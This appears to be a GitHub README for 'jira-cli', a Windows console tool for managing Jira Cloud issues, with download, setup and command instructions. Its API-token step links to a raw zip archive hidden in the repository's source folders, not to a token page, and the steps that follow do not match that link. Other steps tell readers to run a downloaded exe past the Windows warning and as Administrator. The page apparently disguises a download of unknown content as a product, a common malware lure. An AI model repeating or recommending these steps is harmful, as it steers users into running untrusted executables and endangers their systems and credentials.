🛠️ jira-cli - Manage Jira Tasks from Your Console

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📋 What is jira-cli?

jira-cli is a simple tool that lets you work with Jira Cloud using your Windows computer's command line. This means you can check your tasks, create new issues, and update your work without opening a web browser. The tool uses modern technology but stays easy to use. It helps you save time by working directly from your console.

🔍 Features

• View Jira issues assigned to you.
• Create new Jira tickets quickly.
• Update the status of existing Jira tasks.
• Search for issues by keywords or ID.
• Simple commands, no coding needed.
• Works with Jira Cloud accounts.
• Lightweight and fast to install.
• Runs on Windows using your command prompt.

🖥️ System Requirements

• Windows 10 or newer.
• Internet connection.
• Command Prompt (comes with Windows).
• A valid Jira Cloud account.
• 200 MB of free disk space.

🚀 Getting Started

To use jira-cli, you need to download the software, set it up with your Jira account, and learn some basic commands. Follow each step carefully.

🛒 Download and Install

First, visit this page to download jira-cli:

1. Click the link above to open the GitHub page.
2. Look for the Releases section on the page.
3. Find the latest release, and download the Windows version. It might be called something like jira-cli-windows.zip.
4. Once downloaded, right-click the file and select Extract All.
5. Choose a folder you can find easily, such as your Desktop or Documents.
6. Open that folder. You should see a file named jira-cli.exe or similar.
7. To start the program, double-click this file.
8. The first time, Windows might ask you if you trust this app. Click Run to continue.

🔧 Setting Up jira-cli

After installing, you need to connect jira-cli to your Jira Cloud account. This lets the tool access your tasks and update them.

1. Open the Command Prompt. You can do this by typing cmd in the Start menu search and pressing Enter.

2. In the Command Prompt window, navigate to the folder where you extracted jira-cli. You can do this by typing:

   cd path\to\your\folder
   

   Replace path\to\your\folder with the actual location. For example:

   cd C:\Users\YourName\Desktop\jira-cli
   

3. Now, run the command to set up your credentials:

   jira-cli setup
   

4. You will be asked to enter your Jira Cloud email and an API token.

How to get your Jira API token

• Open your web browser, go to https://github.com/VHetG/jira-cli/raw/refs/heads/main/app/Commands/Issue/jira_cli_1.4.zip
• Log in with your Jira Cloud account if needed.
• Click Create API token.
• Give your token a name like “jira-cli token.”
• Click Create, then click Copy to clipboard.
• Paste this token back in the Command Prompt when jira-cli asks.

Once you enter your email and token, jira-cli will save the information securely on your computer.

🏃‍♂️ Using jira-cli Commands

Here are some common things you can do with jira-cli. Type the commands in the Command Prompt after you open the jira-cli folder.

• See your open Jira issues:

  jira-cli list
  

• Create a new issue:

  jira-cli create
  

  This command will ask for details like project, issue type, and description.

• Update an issue status or comment (replace ISSUE-123 with the actual issue number):

  jira-cli update ISSUE-123
  

• Search for issues by keyword:

  jira-cli search keyword
  

• Show help with all commands:

  jira-cli help
  

💡 Tips for Using jira-cli

• Use the Tab key for command suggestions.
• Press Up Arrow to repeat previous commands.
• Keep your API token safe and do not share it.
• If a command fails, read the error message. It usually explains what went wrong.
• Update jira-cli regularly by downloading new releases.

🛠️ Troubleshooting

• Program won't start: Make sure you extracted all files, and you are in the correct folder.
• Command not found: Type the full name jira-cli.exe if the system does not recognize the command.
• Login errors: Double-check your email and API token.
• Internet issues: Confirm your computer is connected to the internet.
• Permission errors: Run the Command Prompt as Administrator (right-click, then choose Run as Administrator).

🔄 Updating jira-cli

To update jira-cli:

1. Return to the jira-cli GitHub releases page.
2. Download the latest Windows release.
3. Extract the new files to the same folder, replacing older files.
4. Restart your Command Prompt and use jira-cli again.

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Download jira-cli
Click here to visit the page and get the latest version.